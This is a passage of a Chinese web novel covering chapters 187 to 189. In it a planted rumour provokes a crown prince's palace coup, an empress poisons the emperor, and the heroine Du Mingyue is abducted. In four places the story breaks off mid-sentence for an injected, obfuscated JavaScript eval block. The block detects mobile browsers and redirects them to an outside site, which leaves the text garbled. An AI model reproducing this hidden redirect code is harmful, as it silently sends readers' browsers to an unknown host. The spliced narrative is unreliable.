他们没想到,这个看似普通的江南女子,竟然是谦王的义女,还有慕子叙这样护着她的相公。之前那些鄙夷的目光,瞬间变成了敬畏。 就在谦王说这些话时,朝阳长公主不经意间将目光落在慕子叙的身上,此时他的眼神里的杀意更浓。 朝阳长公主被他的眼神吓到,下意识地后退了一步。 她没想到,慕子叙竟敢会为了杜明月,用那种满是威胁和警告的眼神看着自己,而更让她感觉到不可思议的事,她竟然被震慑住了。 朝阳长公主见事已至此,知道自己今日讨不到好,反而会惹得谦王不快。她咬了咬牙,狠狠瞪了杜明月一眼,转身对着身边跟来的侍卫道,“我们走!” 看着朝阳长公主等人狼狈离去的背影,慕子叙连忙转过身,轻轻抚摸着杜明月的脸颊,语气里满是心疼,“明月,疼不疼?我带你去上药。” 杜明月摇了摇头,看着谦王和慕子叙,心里很是感动,她突然有种被人发自内心珍视和保护的感觉,这种感觉让她觉得很幸福,不管将来面对什么她都不害怕。 谦王拍了拍她的肩膀,“往后再有这样的事,别忍着,直接派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244511|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人去谦王府找我。” 慕子叙扶着杜明月回到后院的房间,拿出药膏,小心翼翼地为她涂抹脸颊。看着她泛红的脸颊,他心里满是自责,“都怪我,没能及时赶来,让你受了委屈。” 杜明月握住他的手,笑着摇了摇头:“我没事,你别自责。再说,你和义父不是已经及时赶来了吗?” 杜明月微微笑着,算是安抚慕子叙的心中的自责和不安,她接下来什么都没说,只是心里有一个疑问,却越来越清晰。 朝阳长公主到底为何对她有如此大的敌意?仅仅是因为误会她与谦王的关系吗?会不会还有别的原因。 如果有,又会是因为什么呢? 杜明月再次回到客栈大厅,站在门口目光不经意间扫过对面的茶楼,却见二楼窗边站着一个熟悉的身影。 董皇后! 杜明月一愣,只见董皇后正端着茶杯,对着她露出一抹得意又阴险的笑容。 那笑容像一根刺,瞬间扎进杜明月心里,让她莫名觉得不对劲。董皇后为何会在这里?又为何会露出这样的表情? “明月,怎么了?”才刚刚从后面出来的慕子叙,注意到她的异样,顺着她的目光望去,却只看到茶楼里往来的客人,此时的董皇后已经不见了踪影。 杜明月不想让慕子叙担心,便摇了摇头,压下心头的疑惑,“没什么,可能是我看错了。” 又过了一日,谦王再次带了两坛上好的酒出现在客栈里,说是给杜明月赔罪,便将那两坛酒摆在了柜台上,还笑呵呵的道,“这酒可难得呢,只有三坛,我把这个都送到你这里来。” “这是什么酒?”杜明月好奇的问了一下。 “这酒浓度高,没有杂质,喝起来醇香不上头,市面上可是完全买不到,你就一杯一杯的卖,一杯卖个三五两都有人买!保你这客栈一定会因为它名声大噪!” 杜明月立马笑着应下,两人正说着话,慕子叙走了进来,三人便一起到了楼上的雅间交谈了。 第一百八十七章 放出假消息 杜明月亲手沏了茶,将杯茶递给谦王和慕子叙后,轻声问道,“太子那边最近应该有动静了吧?” 慕子叙和谦王一愣,疑惑的看着杜明月,虽然他们谈这些事情从不避讳杜明月,一开始便让她知道,可杜明月从来不会掺和进这些事情里,今日还是她第一次主动问起。 杜明月没有过多的解释,只是继续问道,“朝阳长公主近日是不是和太子、董皇后走得很近?” 谦王一愣,随即皱起眉头,“你这么一说,倒是提醒我,她现在确实处处在维护太子,看来她是想拥护太子即位了。你怎么突然问这个?” 慕子叙也一脸疑惑,杜明月语气带着几分思索,“其实,那日长公主来**那日,我在对面茶楼看到了董皇后。她对着我笑,那笑容很奇怪,像是……故意看我笑话一样。” 慕子叙眼神一凝,瞬间反应过来。 “是了!董皇后定是记恨我拿出铁证扳倒董丞相,害得董家覆灭,她自己也被禁足,差点被废。如今她找不到机会报复我,就把主意打到了你身上,故意挑拨你和朝阳长公主的关系!” 谦王也恍然大悟,拍了下桌子,“难怪长公主突然对明月敌意这么大,还说什么品行不端,定是董皇后在背后说了坏话!这个女人,真是蛇蝎心肠!” 慕子叙站起身,来回踱步,眼神逐渐变得坚定。 “既然如此,我们不能再等下去了,太子本就对皇位虎视眈眈,我们正好可以利用这一点,逼太子尽快动手,然后将董皇后等人通通一网打尽。” 他看向谦王,语气坚定,“我们现在就去找三皇子,商量放出假消息的事。” “只要太子相信皇帝已察觉太子与董家余孽勾结,准备废黜太子,清除董家残余势力,太子定会急中生乱,加快发动宫变的步伐。” 谦王点头赞同,“这个主意好!太子本就残暴多疑,听到这个消息,肯定会狗急跳墙。”、 “到时候他与皇帝自相残杀,三皇子再趁机收拾残局,就能坐收渔翁之利,把这些祸国殃民的人通通拉下马!” 杜明月坐在一旁,虽然知道他们的计划很危险,但却也知道这是目前最好的办法。 她看着慕子叙,轻声道,“你们要多加小心。” 慕子叙握住她的手,眼神温柔:“放心,我会安排好一切,不会让自己出事。等这件事结束,我们就离开京城,去江南过安稳日子。” 杜明月点头,就在慕子叙准备动身去三皇子府时,谦王突然开口,语气带着几分恳求,“去之前,我有件事……想求你。” 慕子叙停下脚步,看向他,“谦王但说无妨。” 谦王叹了口气,眼神里满是复杂,“若是真到了动手那天,要收拾太子和董家余孽以及和他勾结的势力,能不能……能不能留长公主一条命?” “她虽有错,却也是被董皇后挑拨,而且……”他顿了顿,声音低了下去,“她毕竟是我放在心里二十年的人。我会带她离开京城,找个地方隐居,绝不会再让她参与这些事。” 慕子叙沉默片刻,看着谦王眼底的恳求,终是点了点头。 “好,我答应你。但我有个条件。若是事后朝阳长公主还不知悔改,继续与我们为敌,或者再找明月的麻烦,我绝不会手下留情,定要取她性命。” 谦王连忙点头,语气带着几分感激:“你放心,我定会看好她,绝不会让她再犯错。” 慕子叙又叮嘱了杜明月几句,让她待在客栈不要外出,随后便带着伴竹和谦王一起匆匆离开。 房间里只剩下杜明月和红豆,杜明月看着窗外,心里满是担忧,“放出假消息……你说太子真的会这么容易上当吗?” 红豆看起来很乐观,“虽然奴婢不是很懂,但觉得慕公子的直觉总不会错,他说可以,就一定可以。” 杜明月点了点头,压下心头的不安。 慕子叙和三皇子的动作很快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244512|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出三日,便有皇帝要废黜太子的假消息在朝堂中传的沸沸扬扬,但因涉及到皇位之争,没人敢将这些谣言传到皇帝的耳朵里。 而此刻的皇宫里,太子正与自己的母后董皇后坐在东宫。 两人听着心腹之人禀报近日听来的传言,脸色越来越难看。 “你说什么?父皇准备废黜我,还要清除董家余孽?”太子猛地一拍桌子,眼神里满是杀意。 “好!好一个父皇!出事前,我为他鞍前马后这么多年,要不是为了他交代的事情,我也不至于差点真的死在外面,现在我好不容易死里逃生回来,他竟然想卸磨杀驴!” 董皇后抬手一挥,示意来人退下,看着太子,语气带着几分挑拨,“儿啊,你终于看清他的真面目了。” “皇帝就是在这样的人,若不是如此薄情寡义,又怎么会想要对我们董家赶尽杀绝,他这就是容不下你了!连个倚仗都不给你留!” “母后你说的对,我们不能继续坐以待毙了!母后,你放心,我会尽快发动宫变,等我登上皇位,一定立马风光的封您为太后!” “好,儿啊,你放心,我一定会祝你一臂之力,我还有三千死士,也都给你,助你早日成事,拿下皇位!” 太子眼神一凝,攥紧了拳头,“好!一个月后,我便动手!我会派一队死士保护母后,母后你等我的好消息便是。” “好!”董皇后眼里闪着阴狠得意的光芒,她从自己身上取出了一个粉包,暗示道,“你把这个拿去,会助你成事!” “这是?”太子一愣,一脸困惑和不解的看向董皇后。 董皇后满脸恨意的开口,“我终于等到了这一天。自他降罪董家,将我禁足那时起,我就已经打定主意这么做了。” “从你回来,我被解除禁足那日起,我就一直在用这**,我每日只用一点点,掺在皇帝喝的汤里,任谁也查不出来,等到最后这一包用完,他会立马毒发。” 第一百八十八章 发动宫变 董皇后声音里带着压抑多年的畅快,“皇儿,你切记斩草除根,不仅要杀了皇帝,还要杀了三皇子!他这些年暗地里不知道拉拢了多少势力,留着他始终是个祸患!” “母后放心!”太子目光狠厉,他早就存了除掉三皇子的心思。 自从重新回来以后,他便让人调查过三皇子,好在三皇子虽然拉拢朝臣,对百姓施以仁政,但手中并无多少实权,也没有兵权,这种情况下,铲除三皇子根本就是轻而易举的。 董皇后满意点头,“还有那些反对我们的人,所有碍眼的人,都要一一除掉!等你登上皇位,我董家就能恢复往日的荣光,到时候整个京城,甚至整个天下,都是我们的!” 太子重重点头,信心满满,但他并不知道,此刻他对三皇子的错误预估,将在一个月后给自己带来多大的麻烦。 一个月,太子果然发动宫变。 此前,他已经暗中调动兵力,将皇宫里的侍卫换成自己的人,还任命段骆岐为先锋大将,在这一日带人攻占宫门。 不得不照做的段骆岐站在宫门外,看着手里的兵符,心里满是惊恐与动摇。 他知道,这是谋逆大罪,一旦失败,不仅自己会死,整个段家都会被牵连。 可他一想到太子的承诺,和皇帝突然病倒的事情,心里便已经猜到几分可能是太子下毒。 段骆岐不知道太子是否真的胜券在握,但眼下却也只能照做,毕竟如果太子真的顺利登基,那他今日听命于太子,还有立下功劳,保住段家。 这么一想,他终究还是心一横,咬了咬牙,挥手道,“冲啊!” 宫门缓缓打开,段骆岐带着士兵冲了进去。皇宫里瞬间乱作一团,宫女太监们四处逃窜,惨叫声此起彼伏。 太子早已亲自带人冲向皇帝的寝殿,他已经打算在三皇子出现之前,先杀了皇帝,拿到传位诏书,再顺利杀掉三皇子。 寝殿内,毒发的皇帝看着闯进来的太子,心中立马明白这是怎么回事,气得浑身发抖,却连一句话都说不出来。 太子走到龙床前,拔出腰间的佩剑,剑尖直指皇帝的胸口:“父皇,您就安心地去吧!这皇位,我会替您坐好的!” “你这个畜生!竟敢弑父**!”皇帝几乎用尽全部力气说出这句话,话音未落,已经一口黑色的血吐了出来。 “哼!”太子冷笑,“说这话之前还是看看你自己吧,你可比我更残暴不仁,众叛亲离!” 就在这时,殿外传来一阵整齐的脚步声,三皇子带着慕子叙、谦王以及大批士兵冲了进来。 三皇子穿着一身铠甲,眼神锐利,指着太子厉声喝道,“太子!你竟敢以下犯上,发动宫变,谋夺皇位,你就不怕遭天谴吗?” 太子转过头,看到三皇子,不仅没有害怕,反而笑了起来,“天谴?这天下早就被父皇搞得民不聊生,他才该遭天谴!” “你心里恐怕比我更想让他死吧!你不过是会说些冠冕堂皇的借口罢了!假仁假义!” 太子握着剑,一步步走向三皇子,语气里满是挑衅,“不过你今天来得正好,我还准备去找你,你倒自己送上门了!我正好把你们一块杀了,省得日后再给我添麻烦!” 三皇子冷笑一声:“就凭你?你真以为自己能杀了我吗?” “为什么不能?”太子环顾四周,语气得意,“宫里的侍卫早就换成我的人了,你手里又没有兵权,你现在完全是插翅难飞!” “是吗?”三皇子抬手,对着殿外喊了一声,“你们还愣着干什么?” 话音刚落,原本站在太子身后的大批侍卫们突然调转兵器,对准了太子的心腹。 太子脸色一变,不敢置信地看着眼前的景象:“你们……你们怎么敢?” “你想不到吧,我听了慕先生的计策,早在你调动兵力的时候,我就已经派人策反了他们。而现在宫内宫外还有我大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244513|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批的人马!” 三皇子语气平静,却带着不容置疑的威严,“你的人竟然如此废物,对我的情况都没摸清楚,你就敢动手?” “怎么可能!绝不可能!”太子气得浑身发抖,他猛地看向段骆岐,厉声喝道,“段骆岐!还愣着干什么?快杀了三皇子!” 段骆岐握着兵器,站在原地,进退两难。他知道,现在太子已经大势已去,若是再跟着他,只会死无葬身之地。 就在这时,三皇子看了一眼慕子叙,慕子叙点点头,对段骆岐道,“虽然你我势同水火,但我知道你也是被太子胁迫,你若不想害了明月现在就收手吧!” 三皇子也开口道,“只要你肯归降,我可以不计较你之前的所作所为,还会保你段家平安。你若是执迷不悟,跟着太子一条路走到黑,等待你的,只会是满门抄斩的下场!” 段骆岐心里一动,他看着三皇子坚定的眼神,又看了看太子气急败坏的模样,终是做出了决定。 他扔掉手里的兵器,对着三皇子单膝跪地,“末将段骆岐,愿归降三皇子殿下!” 太子看着段骆岐归降,彻底慌了神。他的手下被侍卫们团团围住,很快就被制服。太子被两个士兵按在地上,却依旧不甘心地挣扎着。 见他哀求无用,抬头看着慕子叙,忽然笑了起来。 “慕子叙,你别得意!你以为你赢了吗?你还不知道吧,杜明月现在估计已经被我母后抓起来了!” 慕子叙脸色一变,他猛地冲上前,一把揪住太子的领子,眼神里满是杀意:“你说什么?明月在哪里?你们把她关在哪里了?” 太子被慕子叙的眼神吓到,却还是强装镇定,冷笑一声,“想知道她在哪里?可以!只要你放了我,我就告诉你。不然,你就等着给她收尸吧!我可以保证,她一定会死得很惨!” 三皇子皱起眉头,看向慕子叙,语气带着几分犹豫:“要不我们先放了他?” 第一百八十九章 带到密室 谦王也有些担心:“是啊,明月的安危最重要。若是太子有个三长两短,董皇后狗急跳墙,说不定真的会对明月下毒手。” 慕子叙紧紧攥着太子的领子,指节因为用力而发白。 他深吸一口气,眼神逐渐变得坚定,“不能放!董家害**我全家,我太了解他们的为人了。他们从来没有一句真话,心思歹毒至极。” “若是放了太子,他们只会得寸进尺,不仅不会放了明月,还会用明月来要挟我们。只有太子活着,董皇后才会有所顾忌,留着明月的性命,只为能用来跟我们交换太子。” 他看着三皇子,语气诚恳,“殿下,没有人比我更在意明月的安危,可我们不能因为一时的着急,而犯下不可挽回的错误。” “只要我们控制住太子,就有机会救出明月。若是放了他,我们就彻底失去了主动权。” 三皇子沉默片刻,觉得慕子叙说得有道理。 他点了点头,“好,就按你说的办。先把太子关起来,派人去查董皇后的下落,你放心,一定会把人救出来的!” 士兵们将太子押了下去,太子一边走,一边大喊:“慕子叙,你会后悔的!杜明月一定会死的!你们都不会有好下场的!” 慕子叙看着太子被押走的背影,心里满是担忧,甚至不敢想董皇后都对杜明月做了什么。 谦王拍了拍慕子叙的肩膀,语气安慰:“别太担心。说不定董皇后也是刚刚抓到人,我们动作快一些,明月一定不会有事的。” 慕子叙点了点头,深吸一口气,压下心头的焦虑。 他知道,现在不是慌乱的时候,他必须冷静下来,才能想出更好的办法救出明月。 三皇子看着两人,语气严肃,“现在太子已经被制服,接下来我们要做的,除了尽快救出杜明月,还要稳定皇宫的秩序,安抚官员和百姓。” “我们绝不能让董家的残余势力再有机会兴风作浪。”三皇子话落,慕子叙和谦王都认同的点了点头。 就在这时,一个士兵匆匆跑进来,对着三皇子躬身道,“殿下,我们在冷宫附近发现了董皇后的踪迹,她好像带着几个人,往密道的方向去了。” 三皇子眼神一凛,“密道?看来她是想逃跑!快,带我们过去!” 众人跟着士兵,朝着冷宫的方向跑去。慕子叙心里更加着急,他担心董皇后会带着明月从密道逃跑,到时候再想找到她们,就难上加难了。 冷宫附近杂草丛生,一片荒凉。士兵们在前面带路,很快就找到了密道的入口。 三皇子对着士兵们挥手,“快,进去追!一定要把人带回来!” 士兵们纷纷冲进密道,慕子叙也想跟着进去,却被三皇子拦住了,“我想起来了!” “之前暗中调查董皇后和太子时,另外还有两处隐秘的居所,也是联通这个密道的入口,说不定董皇后出了密道会带杜明月去那里!” 三皇子说着,对谦王道,“谦王,你继续带人从这边追过去,我和慕先生直接绕过去,看能不能截住她们!” “好!”谦王立马应下,慕子叙为了抢夺时间,尽快找到杜明月,也同意了三皇子的想法,几人分开寻找。 出了密道,董皇后将蒙着眼睛的杜明月和红豆带进了一处建在地下的密室中。 密室墙面铺着青灰色的墙砖,即便每隔三步挂着一盏琉璃灯,但还是十分阴暗,让人心底寒意丛生。 密室角落里摆着几张梨花木桌椅,桌椅上落了层薄灰,显见是许久未曾有人打理。 在董皇后的吩咐下,杜明月被粗麻绳绑在密室正中央的承重柱上,手腕被勒得发红,衣袍上沾着尘土,嘴角还残留着血迹。 那是先前杜明月被抓时不停挣扎,董皇后掌掴她时留下的。 不远处的柱子上,红豆被同样的方式绑着,嘴里塞着棉布,只能发出“呜呜”的挣扎声,一双眼睛死死盯着董皇后,满是怒火与担忧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么身世?什么母亲和女儿!”杜明月浑身一震,难以置信地看着董皇后,“你在胡说什么?我母亲早就过世了,怎么会……”